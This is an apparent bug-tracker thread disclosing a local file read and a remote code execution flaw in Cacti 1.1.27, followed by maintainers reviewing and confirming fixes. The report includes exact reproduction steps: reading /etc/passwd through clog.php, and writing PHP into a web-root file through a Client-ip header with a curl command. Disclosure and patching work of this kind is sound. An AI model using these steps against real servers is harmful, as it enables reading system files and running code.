Local File Read and RCE in Cacti 1.1.27+ds1-2

[hex0wn]

It requires admin privileges to reproduce the ploblem.
After we login in with default account admin/cacit

Local File Read

1. Click Settings->Paths http://localhost/cacti/settings.php?tab=path,modify Cacti Log Path into /etc/cacti.log
2. Visit http://localhost/cacti/clog.php?rfilter=&reverse=1&refresh=60&message_type=-1&tail_lines=500&filename=passwd&, and you'll get the content of /etc/passwd

RCE

1. Click Settings->Paths http://localhost/cacti/settings.php?tab=path,modify Cacti Log Path into Web Path like /var/www/html/shell.php
2. Visit http://localhost/cacti/remote_agent.php and set http header client-ip into <?php phpinfo();?>. Or exec cmd curl -H "Client-ip: <?php phpinfo();?>" 'http://localhost/cacti/remote_agent.php'. The evil php code will been writen to /var/www/html/shell.php

[paulgevers]

I confirm the local file read issue.

[carnil]

Those two issues have been assigned http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16660 and http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-16661

[cigamit]

The Remote Agent part is fixed. I will take a crack at the Cacti log issue. I have an idea since I don't want the impact of this change to be large.

[cigamit]

These both should be resolved now. Please confirm and close if so.

[hex0wn]

In your commit a179e8092dbff7406e39ca16c2823f4fe530f5e0, filelib/clog_webapi.php Line 105-111

	if (get_nfilter_request_var('filename') != '') {
		if (!strpos(get_nfilter_request_var('filename'), $logbase) === false) {
			raise_message('clog_invalid');
			header('Location: ' . get_current_page() . '?header=false');
			exit(0);
		}
	}

I don't understand what it means.
!strpos(get_nfilter_request_var('filename'), $logbase) === false same as strpos(get_nfilter_request_var('filename'), $logbase) > 0. I don't think it will work.
Maybe you should check filename with a whitelist which contains log filenames.

[cigamit]

Yea, damn. Too early on the weekends. Let me fix that up.

[cigamit]

Thanks for catching that. All fixed up now.

[paulgevers]

@cigamit can you confirm that even when one can't enter '/etc/cacti.log' anymore, that if that value is already assigned to path_cactilog, that the contents of /etc/passwd should not be displayed?

I applied commit a179e80 and c0f0ce2 but I can still see the content of /etc/passwd.

[cigamit]

Paul, sorry, slow start. Happens when you are too busy. Everything should work as expected now. Certainly there was disconnect between what I thought I had accomplished, and what was done.

[hex0wn]

I'll commit my solution

[paulgevers]

As far as I can tell from my testing, both issues are indeed fixed with commit 96d793f included.

I'll upload to Debian shortly.

[hex0wn]

I reviewed the code again. u have fixed the issue, but I don't understand why u remain the parameter filename(file lib/clog_webapi.php). It makes no sense in ur code.

[cigamit]

Satan, Cacti 1.x supports automatic archiving of log files. Does not use logrotate, but a built-in function to copy the log file from cacti.log to cacti.log-TIMESTAMP. This is why we need the filename variable. We need to find other log files in the log directory that are prefixed with cacti.log. You may not have the enabled on your system.

[hex0wn]

thx for ur reply

[netniV]

There still reminds a slight issue that any other logs in the same directory as the CACTI or plugin logs, can be read by cacti. So whilst it is common sense to keep these logs separated, some users may update the log folder setting to be in a directory with other sensitive logs for house keeping purposes, using for example, /var/log.

There is nothing in the system to prevent this happening, and if you have access to the Cacti system as an admin via a web page, it would be trivial to change this. It is likely that this would not be a major issue unless the apache2 process was running under a user with access to those logs.

Aside from OS user security, the only way I can see to combat that potential information leakage, is a future enhancement to either specifically block /var/log from being used, or to require plugins to define their log file base name, thus providing a limited list of log files that should be read by cacti.

[cigamit]

That is actually not the case. The only files readable will be *cacti.log*, which is appropriate.

[netniV]

I tested it myself, it was able to read other log files.

[cigamit]

You must be running some Frankenstein install (maybe including the pull request that was not merged and closed), cause you can only read *cacti.log* files in the 1.1.28 version.

[netniV]

My bad, I haven't really used GIT in anger on a linux box, so I was incorrectly using it and thinking I was on the latest sources but I was on 1.1.27 still. I can confirm that the latest version doesn't list my test log file. It also no longer lists any of the plugin logs that were previously visible. So, I have lost visibility there that I previously had.

I still believe that the plugin architecture should allow for the return of a base log filename if you wish to have those logs displayed, but that could be created as a separate feature enhancement issue.

[cigamit]

Not a problem. If you would like to propose and enhancement, we would be glad to consider your pull request.

Plugins should use the cacti_log() function, which can goto syslog if you like it to, or Splunk, Elastic, AMQP or whatever. Personally, though I would like to see Cacti log in a json based name value format that is easily injested by more modern logging tools, it's not the highest priority for the team at the moment. So, contributions from others are welcomed.